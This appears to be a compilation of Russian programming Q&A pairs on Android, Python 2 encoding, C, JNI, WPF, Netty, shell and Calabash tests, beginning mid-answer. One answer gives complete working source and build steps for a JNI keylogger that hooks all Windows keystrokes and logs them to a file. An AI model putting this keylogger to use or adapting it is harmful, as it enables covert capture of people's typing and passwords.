Совмещение translate и scale анимаций также помогает.
Также полезно запускать следующую анимацию до конца предыдущей.
Итого анимацию я сделал так: android:fromXDelta="20"
android:fromYDelta="10"
android:interpolator="@android:interpolator/accelerate_decelerate"
android:startOffset="3000"
android:toXDelta="40"
android:toYDelta="40"/>
С чем может бы связано непринятие русского языка во Втором питоне на некоторых машинах? Например на Fedora 22 после добавления в скрипт: # -*- coding: utf -*-
проблема решалась, и русские буквы появлялись на экране. На CentOS 7 такой финт не проходит, ругается:
SyntaxError: Non-ASCII character '\xd0' in file file.py on line 20,
but no encoding declared; see http://www.python.org/peps/pep-0263.html for details
Ругается он на первую попавшуюся функцию: def err():
print ("Укажите логин, Фамилия, Имя, Отчество")
sys.exit(0)
При этом пробовал строку: # -*- coding: utf -*-
менять на: # -*- coding: utf-8 -*-
не помогло. А на другой машине с такой же CentOS7, русский отображается нормально. Версия на CentOS7 - Python 2.7.5 (default, Jun 24 2015, 00:41:19) Версия на fedora 22 - Python 2.7.10 (default, Jul 5 2015, 14:15:43) Обновить версию на данный момент не представляется возможным, только через месяц, но это не важно. В чем проблема и как ее можно решить? Перейти на третью версию можно и, скорее всего, нужно, но сейчас именно по 2 вопрос.
Ответ
гипотезы и общие соображения:
согласно pep-у (ссылка есть и в самом вопросе) в поисках coding: кодировка просматриваются лишь первая и вторая строки файла.
возможно, в начале файла есть bom-ы или в первые строки «затесались» другие нечитабельные символы, что можно обнаружить, просматривая файл побайтово, например, так: $ hexdump -C файл | less
возможно, в начале файла присутствуют переводы строк «не той системы» (для unix-like должны быть ), либо их смесь. как проверить — см. предыдущий пункт.
Окей. Как мне стало известно из изучения Java, что по сути Java не общается с самой операционной системой, она посылает запрос в JVM и обрабатывает его. Например получение Jav'ой доступу к принтеру. Но! Java не может получать доступ к регистру, автозапуску и прочим вещам. Окей я не буду вдаваться в подробности зачем, но просто есть необходимость. Например у меня есть задача, определена точно ОС - Windows. И мне необходимо "хукать" нажатия клавиатуры, или производить эти нажатия самой программой. Я нашел решение - написание dll библиотеки на C++. Но как мне ее написать. Если мы пишем код на C++ подключая библиотеку windows.h для работы с winapi. И при этом скомпилированный этот код в виде библиотеки подрубаем в Java код. Ничего не потеряется?
Ответ
Из JVM есть несколько дверей в операционную систему - JNI, JNA и JNR. JNI (Java Native Interface) - самый старый и чаще всего используемый способ взаимодействия с нативным кодом. Его минус в том, что он требует от программиста знания C/C++ и хорошего понимания принципов работы виртуальной машины. JNA (Java Native Access) - это надстройка над JNI изолирующая программиста от низкоуровневых деталей за счёт использования рефлексии и libffi. А где рефлексия, там низкая производительность и высокое количество рантайм ошибок. В JNR (Java Native Runtime) рефлексию заменили генерацией байткода, что существенно увеличило производительность. Это относительно молодой проект, я в нём ещё не копался и сказать ничего не могу. А вот пример примитивного кейлогера с использованием JNI показать могу. Snitch.java import java.io.Closeable; // Чтобы автоматически отключать хук при
// завершении работы реализуем интерфейс Closeable
public class Snitch implements Closeable {
// Объявляем нативные методы
private native boolean init(String filePath);
private native void listen();
public native void close(); public Snitch(String filePath) throws IntializatonException {
if (!init(filePath))
throw new IntializatonException();
} public static void main(String[] args) {
// Загружаем библиотеку реализующую
// нативные методы
System.loadLibrary("snitch"); // Передаём путь к логфайлу и ловим нажатия клавиш
try (Snitch snitch = new Snitch("C:\\Temp\\keyboard.txt")) {
snitch.listen();
}
catch (IntializatonException exc) {
System.err.println("Can't install hook!");
}
}
}
Компилируем командой javac -h . Snitch.java. Ключ -h указывает в каком каталоге создать заголовочный файл с определениями нативных методов. snitch.c #include
#include
#include
#include "Snitch.h" // Заголовочный файл сгенерированный javac FILE *fh;
HINSTANCE hInstance = NULL;
HHOOK hHook = NULL; enum Keys {
SHIFT = 16,
CAPSLOCK = 20,
}; BOOL APIENTRY DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved) {
switch(reason) {
case DLL_PROCESS_ATTACH:
hInstance = instance;
break;
default:
break;
}
return TRUE;
} LRESULT CALLBACK kbdProc(int code, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_KEYUP) {
KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT*) lParam;
DWORD wVirtKey = kbdStruct->vkCode;
DWORD wScanCode = kbdStruct->scanCode; BYTE lpKeyState[256];
GetKeyboardState(lpKeyState);
lpKeyState[SHIFT] = 0;
lpKeyState[CAPSLOCK] = 0;
if (GetKeyState(VK_LSHIFT) < 0 || GetKeyState(VK_RSHIFT) < 0) {
lpKeyState[SHIFT] = 0x80;
}
if ((GetKeyState(VK_CAPITAL) & 1) == 1) {
lpKeyState[CAPSLOCK] = 0x01;
} char result;
ToAscii(wVirtKey, wScanCode, lpKeyState, (LPWORD)&result, 0);
fprintf(fh, "%c", result);
} return CallNextHookEx(hHook, code, wParam, lParam);
} JNIEXPORT jboolean JNICALL Java_Snitch_init(JNIEnv* env, jobject obj, jstring filePath) {
// Получаем указатель на массив символов строки
const char *path = (*env)->GetStringUTFChars(env, filePath, NULL);
if (path == NULL)
return JNI_FALSE; // Открываем логфайл
if (!(fh = fopen(path, "a")))
return JNI_FALSE; // Делаем строку доступной сборщику мусора
(*env)->ReleaseStringUTFChars(env, filePath, path); // Регистрируем хук
if (!(hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, hInstance, 0)))
return JNI_FALSE; return JNI_TRUE;
} JNIEXPORT void JNICALL Java_Snitch_listen(JNIEnv* env, jobject obj) {
MSG message;
while(GetMessage(&message, NULL, 0, 0)) {
TranslateMessage(&message);
DispatchMessage(&message);
}
} JNIEXPORT void JNICALL Java_Snitch_close(JNIEnv* env, jobject obj) {
if (hHook)
UnhookWindowsHookEx(hHook); if (fh)
fclose(fh);
}
Компилируем c'шный исходник в snitch.dll, запускаем нашу программу командой java Snitch и убеждаемся, что в C:\Temp\keyboard.txt регистрируются нажатые клавиши. Чуть более подробно о процессе компиляции и объявлениях JNI-методов можно посмотреть в другом моём ответе
Подскажите, каким образом добавить свой пункт меню к меню DevTools? Суть в следующем, при инспектировании кода, при клике правой кнопкой мыши появляется контекстное меню
Хотелось бы добавить в него свой пункт, и отловить событие клика по нему.
Ответ
Из консоли можно обращаться к выделенному элементу через $0. Соответственно, если ты добавишь нужную функцию на страницу, то сможешь передать ей элемент руками из консоли.
Здравствуйте! подскажите как указать правило для iptables перенаправлять все https запросы на nodejs? для http сделано так iptables sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to 127.0.0.1:3000
nodejs app.route('/*').get(function(req, res) {
logreq(req);
//res.send("");
}); function logreq(req){ var method = req.method
, len = 10 - +method.length
, met = new Array(len).join(" "); console.log(" \033[32m ",me+met,"\033[42m\033[0m",
"\033[33m hostname: \033[42m\033[0m",req.headers.host,
"\033[32m Pathname: \033[42m\033[0m",req.url)
}; var server = app.listen(3000, '127.0.0.1', function(){ });
Ответ
Проблема в том, что nodejs будет слушать порт не по ssl, а подключение будет подразумевать использование ssl-шифрования. И браузер будет выдавать ошибку ssl, поскольку будет ждать ssl-handshake, но его не получит. Е Если вам необходимо слушать именно https, то ознакомьтесь с примером в документации: https://nodejs.org/api/https.html
Вам не следует использовать имена, начинающиеся с подчеркивания, так как они зарезервированы за реализацией стандартных библиотек. Также совершенно нет никакой необходимости объявлять список в динамической памяти. Ниже приведена демонстрационная программа, которая сортирует список по возрастанию номеров ISBN. Надеюсь, она использует метод сортировки вставкой.:) Для наглядности я упростил определения и убрал из программы все лишнее, что не требуется конкретно для сортировки. Вам, естественно, потребуется нарастить "мясом" данный "скелет" метода. #include
#include
#include typedef struct element
{
unsigned long long int isbn;
struct element *next;
} element; typedef struct list
{
element *first;
int count;
} list;
list construct_list()
{
list lst = { NULL, 0 };
return lst;
} void push_front( list *lst, unsigned long long int isbn )
{
element *item = malloc( sizeof( element ) ); if ( item )
{
item->next = lst->first;
item->isbn = isbn; lst->first = item;
}
} void print_list( const list *lst )
{
for ( const element *current = lst->first; current; current = current->next )
{
printf( "%lld ", current->isbn );
}
} void sort_by_isbn( list *lst )
{
if ( lst->first )
{
element *current = lst->first->next;
lst->first->next = NULL;
while ( current )
{
if ( current->isbn < lst->first->isbn )
{
element *tmp = current;
current = current->next;
tmp->next = lst->first;
lst->first = tmp;
}
else
{
element *first = lst->first;
while ( first->next && !( current->isbn < first->next->isbn ) )
{
first = first->next;
} element *tmp = current;
current = current->next;
tmp->next = first->next;
first->next = tmp;
}
}
}
} #define N 10
int main( void )
{
list lst = construct_list(); srand( ( unsigned int )time( NULL ) ); for ( int i = 0; i < N; i++ ) push_front( &lst, rand() ); print_list( &lst );
printf( " " ); sort_by_isbn( &lst ); print_list( &lst );
printf( " " ); return 0;
}
Вывод программы может выглядеть следующим образом: 461971353 1686854524 262763134 1776774882 166562428 351823644 1662884659 155739745 669011733 1476766544
155739745 166562428 262763134 351823644 461971353 669011733 1476766544 1662884659 1686854524 1776774882
Разрабатываю проект на WPF с использованием паттерна MVVM. Использую MVVM Light. Каким образом возможно реализовать анимацию переходов от одного представления к другому? К примеру, плавное "затухание" одного и появление другого.
Ответ
Не знаю как это делается в MVVM Light, я обычно определяю StoryBoard внутри нужного элемента c нужной анимацией, привязываю триггер анимации к нужному свойству элемента, через который реализован переход (скажем, Button.IsPressed). Все работает.
Здесь поподробнее
https://msdn.microsoft.com/ru-ru/library/ms742868(v=vs.110).aspx
Проект В общем вот ссылка на проект, реализована игра быки-коровы:
сервер генерирует "слово" из 4 цифр, а клиент пытается его отгадать. Налажено подключение и отключение. Но не могу реализовать тайм аут, если пользователь или сервер долгое время не получали сообщений.
Максимум что удавалось, это в контроллере Клиента вызывать в методе нажатия кнопки после считывая данных функцию setOutTimeout, или которая бы сверяла System.currentMills заданную перед проверкой и после, все в целом отрабатывает и закрывает сокет, но появляется ошибка в Моделе: Stream closed.
Ответ
В общем, реализовал как смог, с помощью костылей. class TimeoutThread extends Thread {
private final int time;
private boolean isStop = false; public TimeoutThread(int time) {
super();
this.time = time;
} public void stopCheckTimeout() {
this.isStop = true;
}
@Override
public void run() {
try {
System.out.println("start");
long endTime = System.currentTimeMillis() + time;
count = time / 1000;
while (!isStop) {
count--;
Thread.sleep(1000);
System.out.println("ooo");
ClientPresenter.getInstance().handleResult(String.valueOf(count));
if (System.currentTimeMillis() > endTime) {
System.out.println("disc");
disconnect();
break;
}
}
System.out.println("finish");
} catch (Exception e) {
e.printStackTrace();
}
}
И использовал: new Thread(() -> {
TimeoutThread timeoutThread = new TimeoutThread(10000);
while (status) {
try {
if (isReceive()) {
timeoutThread.stopCheckTimeout(); //stop current timeout
boolean gameFinished = check();
if(gameFinished) {
return;
} timeoutThread = new TimeoutThread(10000); // start new
timeoutThread.start();
}
} catch (Exception e) {
status = false;
}
}
}).start();
Использую KnockoutJS и Яндекс Карты. Данные на страницу биндятся, а в балун нет. Можно ли так биндить данные на яндекс карту? Если нет, то какое решение подскажите, может библиотека какая есть? Пример:
Showing pixel and tile coordinates
#
Заголовок
Содержимое
Ответ
myPlacemark.events.add('balloonopen', function (args) {
// TODO reapply knockout bindings
});
Возникла проблема с созданием datepicker для поля даты. На поле висит 2 обработчика - blur и focus, в focus создается datepicker, в blur он удаляется. Причем в focus он создается с помощью deferred объекта. .directive('datePicker', [ '$compile', '$document', 'datePickerService', '$templateRequest', function ($compile, $document, datePickerService, $templateRequest) {
function link(scope, element, attrs) {
var picker = null;
var $elementFocusProcessing = $.Deferred();
element.on('focus', function (event) {
populatelimits();
prepareViewData();
var pos = angular.extend(element.offset(), { height: element[0].offsetHeight }); $templateRequest(datePickerService.datePickerTemplate).then(function (html) {
var template = angular.element(html);
$document.find('body').append(template);
picker = $compile(template)(scope);
picker.css({ top: pos.top + pos.height + 5, left: pos.left, display: 'block', position: 'absolute' }); picker.on('mousedown', function (evt) {
evt.preventDefault();
});
$elementFocusProcessing.resolve();
});
}); element.on('blur', function () {
$elementFocusProcessing.then(function () {
if (picker) {
picker.remove();
picker = null;
};
$elementFocusProcessing = $.Deferred();
});
});
} return {
restrict: 'A',
link: link,
scope : {
model: '=ngModel'
}
};
И собственно проблема: если выделить поле даты, потом переключиться на другое окно, а затем кликнуть на любое место страницы, кроме поля даты, возникают подряд несколько событий: focus поля, blur поля, click по странице. При этом создание picker в focus завершается позже, чем попытка его удаления в blur, и он не удаляется, хотя фокус элемента в тоге оказывается потерян. Как сделать так, чтобы выполнение кода в blur происходило только после завершения выполнения кода в focus? Мне пока пришло в голову только сделать дополнительную переменную focusEnded для определения того, идет ли выполнение кода в focus, а в blur организовать цикл с таймаутом, но чувствую, что можно более изящно сделать это с использованием deferred объектов.
Ответ
Так как рабочего примера нет, можно рассуждать только теоретически:
Так как шаблон не меняется, его не нужно подгружать не только на каждый фокус, но и на каждый link. Следовательно, его можно вынести из функции и результат, а он является promise, сохранить в переменной: var templatePromise = $templateRequest(datePickerService.datePickerTemplate);
Далее, функция link, внутри нее подразумеваем, что шаблон уже подгрузился, для этого все остальное делаем в обработчике success функции then у нашего сохраненного templatePromise function link(scope,element,attrs){
templatePromise.then(function(html){
//достаточно сделать всего один элемент,
// который мы будем добавлять или удалять
var template = angular.element(html); //и добавим событие, чтобы не добавлять его каждый раз
//так как template это уже объект jqLite можно сделать так
template.on('mousedown',
function (evt) {
evt.preventDefault();
}
); //добавляем on focus
element.on('focus', function (event) {
...
$document.find('body').append(template);
$compile(template)(scope);
//так как template это объект jqLite, то вместо picker можно использовать его
template.css(...)
...
}); //добавляем on blur
element.on('blur', function () {
//так как добавляли template, то и удалять можно его
//а так как он у нас всегда есть, то не надо проверять на null
template.remove();
});
});
}
Нужен инструмент создания и отрисовки UML-диаграмм классов в программе. Не по коду, а именно кодом. Может, кто знает подобную библиотеку, API на C++ или Objective-C?
Ответ
Попробуйте использовать plantuml, dot (Graphviz). Первое Java, но можете попытаться портировать код на C++. Второе - генерить исходник в коде и скармливать его dot. В общем, это тот вариант, который бы использовал я. Либо курить что-то вроде:
http://www.ucancode.net/UML_DIAGRAM_DRAW_PRINT_GENERATE_SOURCE_CODE.htm
https://visualstudiogallery.msdn.microsoft.com/cdebcc67-96fc-4d4c-9ca0-19e183147b00
Есть смартфоны А, B, C, D.
На смартфонах A B C приложение было протестировано успешно, а вот на смартфоне D приложение вылетает. Возможности протестировать на смартфоне D нет. Как узнать где вылетает программа? Или какие существую средства для тестирования андроид приложений?
Ответ
Сделайте билд без обфускации, залейте на Google Play как open/closed beta, пошлите пользователю линк, пусть поставит и запостит вам крэш-репорт. Из него и узнаете где вылетает. https://support.google.com/googleplay/android-developer/answer/3131213?hl=en
Можно ли в Google Play опубликовать 4 одинаковых приложения по одной для каждой платформы (armeabi, armeabi-v7a, mips, x86) ? Дело в том, что приложение использует сторонние библиотеки, которые вместе весят больше чем само приложение. Поэтому хотелось бы их разделить, чтобы не заставлять пользователей качать лишние мегабайты.
Ответ
Судя по документации
надо просто создать отдельный апк с либами под каждую отдельную платформу:
Приложение, которое содержит специфичные библиотеки, предназначенные
для какой-то определенной процессорной архитектуры (например, ARM EABI
v7 или x86) видны только на устройствах, поддерживающих эту
архитектуру.
И ещё хотелось бы обратить внимание на то что у каждого из этих APK должно быть разное versionCode
Each APK for the same application must have a unique version code,
specified by the android:versionCode attribute. You must be careful
about assigning version codes when publishing multiple APKs, because
they must each be different, but in some cases, must or should be
defined in a specific order, based on the configurations that each APK
supports.
Думаю удобнее всего реализовать отдельные наборы библиотек и версий будет с помощью механизма Flavors, как то так: android {
... def commonVersionCode = 10 productFlavors {
armeabi {
versionCode commonVersionCode
}
x86 {
versionCode commonVersionCode + 1
}
}
}
То есть основной номер версии держать кратным 10, а версии для конкретных платформ делать добавляя к основной 0, 1, 2 и т.д. Ну и библиотеки соответственно раскидать по папкам соответствующим flavor'ам.
Нужно проверить, что на компе работает команда setserial. Делаю так setser=$(setserial -g /dev/ttyS[0-9] | grep -v unknown)
if $setser = '-sh: setserial: not found'
then
echo NOT AVAILABLE
else
echo OK
fi
Выводит: $ ./setser.sh
./setser.sh: line 1: setserial: not found
./setser.sh: line 11: =: not found
OK
Что не так? В итоге пока нашел такой вариант FILE=/usr/local/bin/setserial
if [ -f $FILE ]; then
echo "Command Exists"
else
echo "Command Does Not Exist"
fi
Ответ
проверить доступность той или иной программы можно разными способами например, можно воспользоваться описанной в стандарте posix встроенной командой оболочки command. например, так: if command -v setserial >/dev/null 2>&1
then echo "существует"
else echo "не существует"
fi
Подскажите, как можно убрать текст в Action bar, но оставить при этом кнопку настроек. Пытался изменить цвет текста в Action bar, но меняется и цвет текста в меню настроек. А также подскажите, как убрать тень под action bar. Может быть, вопросы легкие, но ответа я на них не нашел
Ответ
Просто задайте пустой заголовок: getSupportActionBar().setTitle("");
И вот так уберите тень: getSupportActionBar().setElevation(0);
Задача такая. Необходимо создать приложение по наблюдению за кассирами.
Существует база данных с операциями по кассирам, пробитие чека,
аннулирование и т.д.
Была задумка по определенной выборке находить необходимые события по
кассе,
далее по событию находить нужный фрагмент видео в архиве, т.е.
ориентироваться по времени чека(события)
и вставать на фрагмент этого места в видео файле
так же необходима возможность онлайн контроля процесса продажи.
Вопрос с чего начать, немного поискав понял что даже IP камеры несколько
протоколов,
а в наличии есть еще и аналоговые камеры...
Возможно есть смысл онлайн контроль осуществлять с помощью какой то
"бесплатной" готовой программы
настроить чтобы программа могла писать в какой нибудь определенный
распространенный формат AVI например. А приложение уже писать самому и разбирать видео файлы, которые будут
создаваться бесплатной программой. желательно писать на C#, есть опыт. с помощью какой библиотеки можно подружить камеры протокола rtsp с приложением C#(показывать видео онлайн, и писать его в архив)?
Ответ
с помощью какой библиотеки можно подружить камеры протокола rtsp с
приложением C#(показывать видео онлайн, и писать его в архив)?
Посмотрите net7mma.codeplex.com Проект активно развивается, и в сети довольно много упоминаний, включая EnSO, возможно эта библиотека перекроет ваши задачи.
Требуется при запуске screen разделить окно терминала на три региона и в каждом запустить какое либо терминальное приложение.
Хочется это делать скриптом/конфигурацией, а не горячими клавишами.
Возможно ли это? Уточню: речь идёт про регионы, создаваемые Ctra + a | и Ctrl + a S UPD: читая man, научился делить окно на регионы, запускать приложения пока нет.
В домашнем каталоге создаём файл .screenrc split -v
split
Ответ
ответ с параллельного сайта используйте ~/.screenrc на той машине, где запускаете программу screen пример: split
screen -t top top
focus
screen -t shell
где:
split — разделить текущее окно/регион горизонтально
focus — переключиться на следующий регион
screen -t name [command] — задать имя для текущего окна/региона и выполнить команду.
Выполняется код загрузчика операционной системы. Имеется только один процесс.
Как перенаправить вывод какой-либо сторонней функции на данном участке кода в буфер char* (функция печатает в stdout с помощью printf, код этой функции я исправить не могу)? Команда, которая работает в консоли "> buffer", естественно, тут работать не будет, да и файлов никаких нет... Код написан на чистом C, но могу написать костыль и на C++. Подскажите пожалуйста, как решить проблему? Единственный способ, который я знал, тут не будет работать.
Ответ
Есть вариант решения через функцию freopen(), однако следует быть осторожнее в его использовании. char buffer[BUFSIZ];
freopen("/dev/null", "a", stdout);
setbuf(stdout, buffer); // весь вывод через printf будет в буфер
printf("simple print");
freopen("/dev/tty", "a", stdout); // возвращаем печать в stdout на консоль
printf("%s ", buffer);
в Windows аналогом для /dev/null и /dev/tty служат NULL и CONOUT$ соответственно.
Как можно перевести название полей в i18n(ru.yml) файле поля для ошибок в accepts_nested_attributes_for?
Модель Company связана с Phone, так же есть у Company accepts_nested_attributes_for :phones. Вроде бы все переводит в хелпере, но именно при валидации выдает "Company phones phone не может быть пустым". class Company < ActiveRecord::Base
has_many :phones, dependent: :destroy
accepts_nested_attributes_for :phones
end class Phone < ActiveRecord::Base
validates :phone, presence: true
belongs_to :company
end
Ответ
Официальная документация - вы можете добавлять в locales переводы models attributes, например: # {Rails.root}/config/locales/ru.yml
ru:
activerecord:
attributes:
user/gender:
female: "Женщина"
male: "Мужчина"
Если не помогло, то вот решение такой же проблемы Но я бы еще сделал валидацию на стороне клиента. Во-первых, чтобы юзер не ждал ответа сервера после отправки формы, а во-вторых, если делать валидацию на js, то вы можете как угодно стилизовать и оформить все это дело
Я создала SVG-изображение в Inkscape и пыталась импортировать его в Android-проект. Для рендеринга SVG-изображений я использовала библиотеку svg-android.jar, и вот как выглядел код для отображения SVG-изображения в ImageView: SVG svg = SVGParser.getSVGFromResource(getResources(), R.raw.counter);
Drawable drawable = svg.createPictureDrawable();
ImageView imageView = (ImageView)findViewById(R.id.counter_image);
imageView.setImageDrawable(drawable);
Но изображения вообще не было видно. После добавления строки: imageView.setLayerType(View.LAYER_TYPE_SOFTWARE, null);
изображение стало видимо, но все прямоугольники, в заливке которых был градиент, при запуске приложения оказались залиты чёрным цветом. Вот логи:
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: sodipodi:namedview
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: inkscape:grid
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: metadata
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: rdf:RDF
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: cc:Work
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: dc:format
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: dc:type
SVGAndroid﹕ UNRECOGNIZED SVG COMMAND: dc:title
SVGAndroid﹕ Didn't find shader, using black: linearGradient4279
SVGAndroid﹕ Didn't find shader, using black: linearGradient4295
SVGAndroid﹕ Didn't find shader, using black: linearGradient4315
SVGAndroid﹕ Didn't find shader, using black: linearGradient4315-8
Подскажите, как правильно рендерить SVG с градиентом для Android?
Ответ
fill(s) or stroke(s) which uses url() (gradients and patterns are not
supported in Android)
После конвертации градиент выглядит примерно так(в лучшем случае): fillColor="url(#SVGID_1_)"
для Android(точней для VectorDrawable) этого ничего не значит, и всё что он может залить(fill) полностью градиент, поэтому пока никак. Последняя новость от 24.02.16 они добавили support lib VectorDrawable
Добрый день. Встала задача быстрой загрузки картинок из буфера как вк. Как загружать картинки ajax я разобрался. Но как отловить в нужной форме ctrl+v и достать из буфера картинку, если она там есть я понять не могу. Прошу вашей помощи, буду очень благодарен если прикрепите пример :)
Ответ
// window.addEventListener('paste', ... or
document.onpaste = function(event){
var items = (event.clipboardData || event.originalEvent.clipboardData).items;
console.log(JSON.stringify(items)); // will give you the mime types
for (index in items) {
var item = items[index];
if (item.kind === 'file') {
var blob = item.getAsFile();
var reader = new FileReader();
reader.onload = function(event){
console.log(event.target.result)}; // data url!
reader.readAsDataURL(blob);
}
}
}
взято отсюда https://stackoverflow.com/a/6338207/2944765
Перед тем как написать сюда были предприняты попытки узнать все это у googla, но нечего путного он не выдает, на сайте библиотеки с инфой скудно. Как на сервере можно получить коннект клиента, чтобы потом с ним работать в отдельных потоках? В old I/O это можно было сделать при помощи serverSocket.accept()
Ответ
Коннект клиента можно получить следующим образом:
на сервере создается handler и переопределяются нужные методы например channelActive в этот handler можно передать то куда будут складываться коннекты и при удачном подключении вызовется channelActive и в нем можно будет вытащить из ChannelHandlerContext коннект(Channel). @Override
public void channelActive(ChannelHandlerContext ctx) throws Exception {
server.channel = ctx.channel();
}
Дальше channel предоставляет возможность отправки и получения сообщений, но просто так отправить строку или набор байтов не выйдет(у меня не получилось), для этого нужно использовать ByteBuf ByteBuf buf = channel.alloc().buffer();
buf.writeBytes("message".getBytes());
chanel.pipeline().writeAndFlush(buf);
P.S надеюсь кому нибудь это пригодится.
Всем доброго дня! Написал приложение под Android (прототип указан ниже по ссылке). Изучил все тулы / мануалы по составлению calabash тестового сценария, также прочитал книгу "The Cucumber book". Не понимаю одного, например хотя бы, как реализовать step defenitions на ruby, чтобы сделать первоначальный ввод номера кредитной карты. Допустим, я могу написать в шаге сценария номер карты, Background:
Given I press "CreditCardEntryDemo"
And I press "form_with_zip" Scenario: Credit card number identity
When I enter "4242 4242 4242 4242" into field with id "form_with_zip"
And I check of the corrrect number of digits for the credit card
Then the form should be redisplayed with CVV and MM/YY
And the form should be activate a button called "Prev"
и дальше в step defenition написать регулярное выражение по этому номеру, после чего сделать вызов query("*") для просмотра идентификатора объектов в моем apk. Вопросы:1) Как связать идентификатор моего поля CustomView c данными, которые пользователь вводит в номере карты?
После запуска тестового сценария и получения подсказки, как можно реализовать шаги в сценарии When(/^I enter "([^"]*)" into field with id "([^"]*)"$/) do |arg1, arg2|
pending # Write code here that turns the phrase above into concrete actions
end When(/^I check of the corrrect number of digits for the credit card$/) do
pending # Write code here that turns the phrase above into concrete actions
end Then(/^the form should be redisplayed with CVV and MM\/YY$/) do
pending # Write code here that turns the phrase above into concrete actions
end Then(/^the form should be activate a button called "([^"]*)"$/) do |arg1|
pending # Write code here that turns the phrase above into concrete actions
end
хотелось бы написать реализацию данных подсказок, например как что то в этом роде: #Ввод номера карты в соответствии заданными регулярными выражениями
When(/^I enter "(^4[0-9]{15}?+^5[1-5][0-9]{14}$+^3[47][0-9]{13}$+^6(?:011|5[0-9]{2})[0-9]{12}$+)" into field with id "([^"]*)"$/) do |number, idField|
# TODO something
end #Проверку правильности набранного номера, думаю, можно опустить из-за
#регулярных выражений предыдущего шага. НО надо еще как то вернуть
#сами данные в поле CustomView с id form_with_zip.
When(/^I check of the corrrect number of digits for the credit card$/) do
pending # Write code here that turns the phrase above into concrete actions
end #После ввода номера карты, должно появиться в этом поле CustomView невидимый
#CVV и MM/YY
Then(/^the form should be redisplayed with CVV and MM\/YY$/) do
pending # Write code here that turns the phrase above into concrete actions
end #Должна стать активной кнопка "Prev"
Then(/^the form should be activate a button called "([^"]*)"$/) do |arg1|
pending # Write code here that turns the phrase above into concrete actions
end
2) Как сделать абстрактный ввод данных в тесте сценария, если это возможно?То есть в тестовом сценарии (см. выше) написан номер карты "4242 4242 4242 4242". Можно ли проверить правильность работы приложения на ввод других каких - то номеров без собственноручного ввода?
3) И как вернуть данные номера в поле CustomView, куда в приложении пользователь вводит данные его банковской карты?
Выше в комментариях подсказок step definitions уже упоминалось про возврат правильно набранного номера банковской карты в поле CustomView с id form_with_zip (описание этого объекта представлено выше). Так как же это сделать? :)
4) Чуть не забыл, как в реализацию step definitions добавить проверку на смену картинок в поле ввода?
При правильном наборе номера карты, в этом поле ввода должна смениться картинка неопределенной карты на картинку карты, которая соответствует своему регулярному выражению. Например, номер "4242 4242 4242 4242" - это Visa, то есть первая картинка сменится на картинку карты Visa.
Ссылка на прототип приложения:http://www.lukew.com/ff/entry.asp?1667
Ответ
Если всегда один и тот же номер: When(/^I enter credit card number$/) do
touch("* id:'input_id'") #id элемента
wait_for_keyboard
keyboard_enter_text('1234') # любой номер (будет захардкожен)
hide_soft_keyboard
end
Если номер меняется, можно задать переменную: When(/^I enter credit card number$/) do
@code='1234'
touch("* id:'input_id'") #id элемента
wait_for_keyboard
keyboard_enter_text(@code) #переменная code
hide_soft_keyboard
end
Если хотите прописать в фиче номер: В фиче будет выглядеть так: When I enter credit card number '1234'
When(/^I enter credit card number "([^"]*)"$/) do |number|
touch("* id:'input_id'") #id элемента
wait_for_keyboard
keyboard_enter_text(number)
hide_soft_keyboard
end